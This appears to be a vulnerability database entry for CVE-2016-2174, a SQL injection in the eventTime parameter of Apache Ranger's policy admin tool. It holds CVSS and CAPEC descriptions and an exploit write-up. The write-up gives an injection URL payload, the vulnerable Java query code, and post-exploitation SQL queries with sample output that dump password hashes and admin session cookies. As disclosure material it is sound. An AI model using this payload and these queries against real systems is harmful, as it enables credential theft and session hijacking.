Vulnerabilities > CVE-2016-2174 - SQL Injection vulnerability in Apache Ranger 0.5.0/0.5.1/0.5.2
Attack vector
NETWORK Attack complexity
LOW Privileges required
HIGH Confidentiality impact
HIGH Integrity impact
HIGH Availability impact
HIGH Summary
SQL injection vulnerability in the policy admin tool in Apache Ranger before 0.5.3 allows remote authenticated administrators to execute arbitrary SQL commands via the eventTime parameter to service/plugins/policies/eventTime.
Vulnerable Configurations
Part | Description | Count |
---|---|---|
Application | 3 |
Common Weakness Enumeration (CWE)
Common Attack Pattern Enumeration and Classification (CAPEC)
- Command Line Execution through SQL Injection An attacker uses standard SQL injection methods to inject data into the command line for execution. This could be done directly through misuse of directives such as MSSQL_xp_cmdshell or indirectly through injection of data into the database that would be interpreted as shell commands. Sometime later, an unscrupulous backend application (or could be part of the functionality of the same application) fetches the injected data stored in the database and uses this data as command line arguments without performing proper validation. The malicious data escapes that data plane by spawning new commands to be executed on the host.
- Object Relational Mapping Injection An attacker leverages a weakness present in the database access layer code generated with an Object Relational Mapping (ORM) tool or a weakness in the way that a developer used a persistence framework to inject his or her own SQL commands to be executed against the underlying database. The attack here is similar to plain SQL injection, except that the application does not use JDBC to directly talk to the database, but instead it uses a data access layer generated by an ORM tool or framework (e.g. Hibernate). While most of the time code generated by an ORM tool contains safe access methods that are immune to SQL injection, sometimes either due to some weakness in the generated code or due to the fact that the developer failed to use the generated access methods properly, SQL injection is still possible.
- SQL Injection through SOAP Parameter Tampering An attacker modifies the parameters of the SOAP message that is sent from the service consumer to the service provider to initiate a SQL injection attack. On the service provider side, the SOAP message is parsed and parameters are not properly validated before being used to access a database in a way that does not use parameter binding, thus enabling the attacker to control the structure of the executed SQL query. This pattern describes a SQL injection attack with the delivery mechanism being a SOAP message.
- Expanding Control over the Operating System from the Database An attacker is able to leverage access gained to the database to read / write data to the file system, compromise the operating system, create a tunnel for accessing the host machine, and use this access to potentially attack other machines on the same network as the database machine. Traditionally SQL injections attacks are viewed as a way to gain unauthorized read access to the data stored in the database, modify the data in the database, delete the data, etc. However, almost every data base management system (DBMS) system includes facilities that if compromised allow an attacker complete access to the file system, operating system, and full access to the host running the database. The attacker can then use this privileged access to launch subsequent attacks. These facilities include dropping into a command shell, creating user defined functions that can call system level libraries present on the host machine, stored procedures, etc.
- SQL Injection This attack exploits target software that constructs SQL statements based on user input. An attacker crafts input strings so that when the target software constructs SQL statements based on the input, the resulting SQL statement performs actions other than those the application intended. SQL Injection results from failure of the application to appropriately validate input. When specially crafted user-controlled input consisting of SQL syntax is used without proper validation as part of SQL queries, it is possible to glean information from the database in ways not envisaged during application design. Depending upon the database and the design of the application, it may also be possible to leverage injection to have the database execute system-related commands of the attackers' choice. SQL Injection enables an attacker to talk directly to the database, thus bypassing the application completely. Successful injection can cause information disclosure as well as ability to add or modify data in the database. In order to successfully inject SQL and retrieve information from a database, an attacker:
Seebug
bulletinFamily | exploit |
description | Description ----------- Apache Ranger =< 0.5.2 is vulnerable to an authenticated SQL injection in the `eventTime` parameter of the following GET request: ``` http://<apache_ranger_IP>:6080/service/plugins/policies/eventTime ?eventTime=' or '1'='1 &policyId=1 ``` The vulnerable code is located in the `org/apache/ranger/db/XXDataHistDao.java` file in the `findObjByEventTimeClassTypeAndId` function: ``` public XXDataHist findObjByEventTimeClassTypeAndId(String eventTime, int classType, Long objId) { if (eventTime == null || objId == null) { return null; } try { String queryStr = "select obj.* from x_data_hist obj where obj.obj_class_type = "+classType + " and obj.obj_id = "+objId + " and obj.create_time <= '" + eventTime + "' ORDER BY obj.id DESC"; Query jpaQuery = getEntityManager().createNativeQuery(queryStr, tClass).setMaxResults(1); return (XXDataHist) jpaQuery.getSingleResult(); } catch (NoResultException e) { return null; } } ``` This vulnerability has been fixed on April 12th 2016 in the [following commit.](https://github.com/apache/incubator-ranger/commit/da3a3233d5679284142eb2887c91a754a0da70b9) Exploitation ------------ Use `sqlmap` to easily exploit it. Post-exploitation ----------------- There are **2 interesting** post-exploitation operations. -------------------------- ### 1. Dump user credentials The `x_portal_user` and `x_portal_user_role` tables contain all user information ``` Database: ranger Table: x_portal_user [14 columns] +--------------+---------------+ | Column | Type | +--------------+---------------+ | added_by_id | bigint(20) | | create_time | datetime | | email | varchar(512) | | first_name | varchar(1022) | | id | bigint(20) | | last_name | varchar(1022) | | login_id | varchar(767) | | notes | varchar(4000) | | password | varchar(512) | | pub_scr_name | varchar(2048) | | status | int(11) | | upd_by_id | bigint(20) | | update_time | datetime | | user_src | int(11) | +--------------+---------------+ Database: ranger Table: x_portal_user_role [8 columns] +-------------+--------------+ | Column | Type | +-------------+--------------+ | added_by_id | bigint(20) | | create_time | datetime | | id | bigint(20) | | status | int(11) | | upd_by_id | bigint(20) | | update_time | datetime | | user_id | bigint(20) | | user_role | varchar(128) | +-------------+--------------+ ``` Passwords are MD5 hashes in the following format `password{login}`, for instance the hash of the `amb_ranger_admin` account with `admin` as password is `85e5c9e3d39848cbea3c54033bb933ab`: ``` $ echo -n 'admin{amb_ranger_admin}' | md5sum 85e5c9e3d39848cbea3c54033bb933ab - ``` The following requests dump user information: * Without a specific filter on their role: ``` select last_name, first_name, email, login_id, password, user_role from x_portal_user, x_portal_user_role where x_portal_user.id = x_portal_user_role.user_id limit 3: [*] , Admin, , admin, ceb4f32325eda6142bd65215f4c0f371, ROLE_SYS_ADMIN [*] , rangerusersync, 1457692398755_962_66, ambari-qa, 70b8374d3dfe0325aaa5002a688c7e3b, ROLE_SYS_ADMIN [*] , keyadmin, 1457692592328_160_91, amb_ranger_admin, a05f34d2dce2b4688fa82e82a89ba958, ROLE_KEY_ADMIN ``` * With a specific filter on users with the `ROLE_SYS_ADMIN` role: ``` select last_name, first_name, email, login_id, password, user_role from x_portal_user, x_portal_user_role where x_portal_user.id = x_portal_user_role.user_id and x_portal_user_role.user_role = 'ROLE_SYS_ADMIN' limit 3: [*] , Admin, , admin, ceb4f32325eda6142bd65215f4c0f371, ROLE_SYS_ADMIN [*] , rangerusersync, 1457692398755_962_66, amb_ranger_admin, 70b8374d3dfe0325aaa5002a688c7e3b, ROLE_SYS_ADMIN [*] , amb_ranger_admin, [email protected], mktg1, 85e5c9e3d39848cbea3c54033bb933ab, ROLE_SYS_ADMIN ``` The limitation here is the need of cracking hashes. ----------------------------------------------------- ### 2. Dump and reuse user session "JSESSIONID" cookies They are stored in the database in the `x_auth_sess` table: ``` Database: ranger Table: x_auth_sess [15 columns] +---------------+---------------+ | Column | Type | +---------------+---------------+ | added_by_id | bigint(20) | | auth_provider | int(11) | | auth_status | int(11) | | auth_time | datetime | | auth_type | int(11) | | create_time | datetime | | device_type | int(11) | | ext_sess_id | varchar(512) | | id | bigint(20) | | login_id | varchar(767) | | req_ip | varchar(48) | | req_ua | varchar(1024) | | upd_by_id | bigint(20) | | update_time | datetime | | user_id | bigint(20) | +---------------+---------------+ ``` The following request dumps user session cookies of admin users recently authenticated on the application: ``` select auth_time, login_id, ext_sess_id from x_auth_sess where auth_status = 1 or (login_id like '%admin%' and auth_status = 1) order by auth_time desc limit 3: [*] 2016-05-08 13:30:11, admin, DEC6C0A899BB2E8793ABA9077311D8E6 [*] 2016-05-08 13:04:15, stduser, CD4142620CB7ED4186274D53B8E0D59E [*] 2016-05-08 13:01:26, rangerusersync, D84D98B58FC0F9554A4CABF3E205A5E8 ``` The complete database schema of the vulnerable version can be found [here.](https://cwiki.apache.org/confluence/display/RANGER/Ranger+0.5.0+Database+Schema) References ---------- https://cwiki.apache.org/confluence/display/RANGER/Vulnerabilities+found+in+Ranger |
id | SSV:93009 |
last seen | 2017-11-19 |
modified | 2017-04-24 |
published | 2017-04-24 |
reporter | Root |
title | Apache Ranger eventTime parameter SQL injection Vulnerability (CVE-2016-2174) |